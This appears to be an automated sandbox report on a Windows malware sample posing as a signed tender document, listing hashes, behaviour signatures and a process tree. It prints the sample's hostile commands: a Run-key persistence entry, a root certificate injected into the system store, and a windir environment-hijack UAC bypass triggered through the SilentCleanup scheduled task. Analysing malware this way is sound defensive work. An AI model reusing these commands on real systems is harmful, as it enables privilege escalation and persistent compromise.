Analysis
- max time kernel
136s - max time network
165s - platform
windows10_x64 - resource
win10-en-20211014 - submitted
03/12/2021, 12:30
Static task
static1
Behavioral task
behavioral1
Sample
Tender SN980018277 & SN9901827 Signed Copy.exe
Resource
win7-en-20211104
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Tender SN980018277 & SN9901827 Signed Copy.exe
Resource
win10-en-20211014
windows10_x64
0 signatures
0 seconds
General
- Target Tender SN980018277 & SN9901827 Signed Copy.exe
- Size 812KB
- Sample211203-ppx28abec4
- SHA256 6072185720cbcf2add1e2ada668484a4d55c601fcb2840ca6b7fbf9dfacdefb8
- MD5 78e0265f9bc8991dbb309aa52612eb46
- SHA1 e0fd6e42295538f9793f55dadac40319176f28f4
- SHA512 5f500e0dd5d0c2f280490d65f7c96701902dffee96e218efec910da9674c19b65fed446e4f7285b76aef8e0c6cb2c60a99f79fdb063c3e0ec165ebb9701c734f
- MD5 SHA1 SHA512
Score
6/10
Malware Config
Signatures
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\Jrnenbsz = "C:\\Users\\Admin\\zsbnenrJ.url" Tender SN980018277 & SN9901827 Signed Copy.exe - Program crash 1 IoCs
pid pid_target Process procid_target 2904 920 WerFault.exe 68 - Modifies registry key 1 TTPs 3 IoCs
pid Process 756 reg.exe 1056 reg.exe 1880 reg.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Tender SN980018277 & SN9901827 Signed Copy.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Tender SN980018277 & SN9901827 Signed Copy.exe - Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 2904 WerFault.exe 2904 WerFault.exe 2904 WerFault.exe 2904 WerFault.exe 2904 WerFault.exe 2904 WerFault.exe 2904 WerFault.exe 2904 WerFault.exe 2904 WerFault.exe 2904 WerFault.exe 2904 WerFault.exe 2904 WerFault.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeRestorePrivilege 2904 WerFault.exe Token: SeBackupPrivilege 2904 WerFault.exe Token: SeDebugPrivilege 2904 WerFault.exe - Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 3668 wrote to memory of 920 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 68 PID 3668 wrote to memory of 920 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 68 PID 3668 wrote to memory of 920 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 68 PID 3668 wrote to memory of 920 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 68 PID 3668 wrote to memory of 920 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 68 PID 3668 wrote to memory of 920 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 68 PID 3668 wrote to memory of 920 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 68 PID 3668 wrote to memory of 920 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 68 PID 3668 wrote to memory of 920 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 68 PID 3668 wrote to memory of 920 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 68 PID 3668 wrote to memory of 920 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 68 PID 3668 wrote to memory of 920 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 68 PID 3668 wrote to memory of 920 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 68 PID 3668 wrote to memory of 920 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 68 PID 3668 wrote to memory of 1688 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 71 PID 3668 wrote to memory of 1688 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 71 PID 3668 wrote to memory of 1688 3668 Tender SN980018277 & SN9901827 Signed Copy.exe 71 PID 1688 wrote to memory of 1916 1688 cmd.exe 73 PID 1688 wrote to memory of 1916 1688 cmd.exe 73 PID 1688 wrote to memory of 1916 1688 cmd.exe 73 PID 1916 wrote to memory of 1056 1916 cmd.exe 75 PID 1916 wrote to memory of 1056 1916 cmd.exe 75 PID 1916 wrote to memory of 1056 1916 cmd.exe 75 PID 1916 wrote to memory of 1880 1916 cmd.exe 76 PID 1916 wrote to memory of 1880 1916 cmd.exe 76 PID 1916 wrote to memory of 1880 1916 cmd.exe 76 PID 1916 wrote to memory of 372 1916 cmd.exe 77 PID 1916 wrote to memory of 372 1916 cmd.exe 77 PID 1916 wrote to memory of 372 1916 cmd.exe 77 PID 1916 wrote to memory of 756 1916 cmd.exe 78 PID 1916 wrote to memory of 756 1916 cmd.exe 78 PID 1916 wrote to memory of 756 1916 cmd.exe 78
Processes
-
C:\Users\Admin\AppData\Local\Temp\Tender SN980018277 & SN9901827 Signed Copy.exe"C:\Users\Admin\AppData\Local\Temp\Tender SN980018277 & SN9901827 Signed Copy.exe"1⤵
- Adds Run key to start application
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3668 -
C:\Windows\SysWOW64\DpiScaling.exeC:\Windows\System32\DpiScaling.exe2⤵PID:920
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 920 -s 4923⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2904
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Jrnenbszt.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1688 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\JrnenbszO.bat3⤵
- Suspicious use of WriteProcessMemory
PID:1916 -
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:1056
-
-
C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start C:\Users\Admin\Jrnenbsz.bat reg delete hkcu\Environment /v windir /f && REM "4⤵
- Modifies registry key
PID:1880
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I4⤵PID:372
-
-
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:756
-
-
-